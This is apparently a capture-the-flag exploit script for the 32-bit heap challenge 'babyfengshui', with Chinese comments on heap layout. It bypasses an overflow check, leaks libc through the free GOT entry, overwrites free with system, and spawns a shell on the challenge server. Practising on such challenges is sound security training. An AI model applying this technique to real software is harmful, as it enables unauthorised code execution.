1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130
| from pwn import * from LibcSearcher import *
sh = remote('111.198.29.45',50469) elf = ELF('./babyfengshui1')
def create(size,name,textLen,content): sh.sendlineafter('Action:','0') sh.sendlineafter('size of description:',str(size)) sh.sendlineafter('name:',name) sh.sendlineafter('text length:',str(textLen)) sh.sendafter('text:',content) def delete(index): sh.sendlineafter('Action:','1') sh.sendlineafter('index:',str(index)) def show(index): sh.sendlineafter('Action:','2') sh.sendlineafter('index:',str(index)) def edit(index,textLen,content): sh.sendlineafter('Action:','3') sh.sendlineafter('index:',str(index)) sh.sendlineafter('text length:',str(textLen)) sh.sendafter('text:',content)
'''结构体 typedef struct Node { void *description; char name[0x80-4]; } Node; 当我们create(n)时 先是 char *description = (char *)malloc(n); memset(description,0,n); Node * node = (Node *)malloc(sizeof(Node)); memset(node,0,0x80); node->description = description; 当我们删除时 先free Node里面的,再free Node free(node->description); free(node); 程序是这样检测堆是否溢出的,假如我们输入n if (node->description + n >= node-4) { //堆溢出 } 为什么这么判断?这是因为按照正常情况,这两个堆先后分配,如果之前没有free过其他堆,这两个堆会相邻 并且description堆先分配,在前面 而node堆后分配,在description后面 32位程序堆的结构如下 prev_size:4 bytes size:4 bytes data:xxxxxxxxxxxxxxx 考虑到空间公用的情况(当申请空间的大小为4的奇数倍时,会将下一个堆的prev_size当成本堆的data区使用),prev_size会被前一个堆共用 我们malloc返回的指针是指向data区的data - 4 就是前一个堆的结尾 因此,看似这个检查很完美 然后,考虑到内存分配机制,如果我们之前free掉两个的堆,然后申请大于其中一个堆大小的空间,那么首先 char *description = (char *)malloc(n);会返回第一个free掉的堆的地址 然后,由于n大于大于第一个堆的空间,这样,在分配0x80大小的结构体堆时,相邻空间不够,即内存管理程序在对应的bin找不到合适的块 于是,从top块分出一块区域给它 ''' create(0x80,'chunk0',0x80,'a'*0x80) create(0x80,'chunk1',0x80,'b'*0x80)
create(0x10,'chunk2',0x8,'/bin/sh\x00') '''''现在的堆是这样分布的 description0 chunk size:0x80 node0 chunk size:0x80 description1 chunk size:0x80 node1 chunk size:0x80 description2 chunk size:0x8 node2 chunk size:0x80 ''' delete(0) '''''现在的堆是这样分布的 0x80*2大小的空闲块 description1 chunk size:0x80 node1 chunk size:0x80 description2 chunk size:0x8 node2 chunk size:0x80 ''' create(0x100,'chunk3',0x19C,'c'*0x198 + p32(elf.got['free'])) '''''现在的堆是这样分布的 description2 chunk size:0x100 0x80*2 - 0x100 大小的空闲块 description1 chunk size:0x80 node1 chunk size:0x80 description2 chunk size:0x8 node2 chunk size:0x80 node3 chunk size:0x80 node3-4是node2的尾部,那么,我们绕过了溢出检测,即我们可以在description2 chunk里输入数据,一直可以到node2结尾 那么,我们就把node1的description指针值覆盖为free的got表地址,那么当我们printf description的内容时,输出的就是 free的加载地址 ''' show(1) sh.recvuntil('description: ') free_addr = u32(sh.recv(4)) libc = LibcSearcher('free',free_addr)
libc_base = free_addr - libc.dump('free') system_addr = libc_base + libc.dump('system')
edit(1,4,p32(system_addr))
delete(2) sh.interactive()
|